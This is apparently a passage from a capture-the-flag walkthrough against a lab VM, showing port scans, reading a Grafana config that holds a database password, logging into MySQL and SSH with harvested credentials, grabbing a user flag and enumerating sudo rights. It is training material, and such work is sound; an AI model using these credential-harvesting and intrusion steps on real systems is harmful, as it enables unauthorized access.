4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.986 seconds (128.90 hosts/sec). 4 responded ❯ export ip=192.168.60.162 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- TCP handshake? More like a friendly high-five! [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.162:22 Open 192.168.60.162:80 Open 192.168.60.162:3000 Open 192.168.60.162:3306 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-17 21:11 CST Initiating ARP Ping Scan at 21:11 Scanning 192.168.60.162 [1 port] Completed ARP Ping Scan at 21:11, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:11 Completed Parallel DNS resolution of 1 host. at 21:11, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 21:11 Scanning 192.168.60.162 [4 ports] Discovered open port 3000/tcp on 192.168.60.162 Discovered open port 80/tcp on 192.168.60.162 Discovered open port 22/tcp on 192.168.60.162 Discovered open port 3306/tcp on 192.168.60.162 Completed SYN Stealth Scan at 21:11, 0.03s elapsed (4 total ports) Nmap scan report for 192.168.60.162 Host is up, received arp-response (0.00078s latency). Scanned at 2025-01-17 21:11:12 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 3000/tcp open ppp syn-ack ttl 64 3306/tcp open mysql syn-ack ttl 64 MAC Address: 08:00:27:9B:88:04 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds Raw packets sent: 5 (204B) | Rcvd: 5 (204B)
❯ cat passwd|grep /bin/bash root:x:0:0:root:/root:/bin/bash cloud:x:1001:1001:,,,:/home/cloud:/bin/bash ❯ cat grafana.ini|grep -A 4 mysql # Either "mysql", "postgres" or "sqlite3", it's your choice type = mysql host = 127.0.0.1:3306 name = grafana_db user = grafana password = mxIn1{JnyiKP{48SqvzEpa6S2 -- # Example: mysql://user:secret@host:port/database ;url =
# For "postgres" only, either "disable", "require" or "verify-full" ;ssl_mode = disable -- # Currently, only "mysql" driver supports isolation levels. # If the value is empty - driver's default isolation level is applied. # For "mysql" use "READ-UNCOMMITTED", "READ-COMMITTED", "REPEATABLE-READ" or "SERIALIZABLE". ;isolation_level =
❯ mysql -h 192.168.60.162 -u grafana -p --skip-ssl Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 19 Server version: 8.0.39-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
MySQL [(none)]> show databases; +--------------------+ | Database | +--------------------+ | grafana_db | | information_schema | | mysql | | performance_schema | | sys | +--------------------+ 5 rows inset (0.083 sec)
MySQL [(none)]> use grafana_db Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
❯ ssh [email protected] [email protected]'s password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of vie 17 ene 2025 14:24:11 UTC System load: 0.1 Processes: 114 Usage of /: 60.5% of 9.75GB Users logged in: 0 Memory usage: 30% IPv4 address for enp0s3: 192.168.60.162 Swap usage: 0% * Introducing Expanded Security Maintenance for Applications. Receive updates to over 25,000 software packages with your Ubuntu Pro subscription. Free for personal use. https://ubuntu.com/pro Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Fri Oct 18 17:35:25 2024 from 192.168.18.48 cloud@TheHackersLabs-Incertidumbre:~$ ls time.sh user.txt cloud@TheHackersLabs-Incertidumbre:~$ cat user.txt a1Tz9bD4uJ6X2pN5vR8cLq7sW3YfG0hK9VmZxP3
if [ "$confirm" == "是" ]; then # 尝试更改系统时间 sudo /usr/local/bin/set_date.sh "$new_date" if [ $? -eq 0 ]; then echo"系统时间已更新为：$(date)" else echo"错误：无法更新系统时间。" exit 1 fi else echo"操作已取消。" fi
用户拥有sudo权限
1 2 3 4 5 6 7 8 9 10
cloud@TheHackersLabs-Incertidumbre:~$ sudo -l sudo: unable to resolve host TheHackersLabs-Incertidumbre: Temporary failure in name resolution Matching Defaults entries for cloud on TheHackersLabs-Incertidumbre: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User cloud may run the following commands on TheHackersLabs-Incertidumbre: (ALL) NOPASSWD: /usr/local/bin/set_date.sh cloud@TheHackersLabs-Incertidumbre:~$ ls -al /usr/local/bin/set_date.sh -rwx------ 1 root root 87 oct 16 14:52 /usr/local/bin/set_date.sh
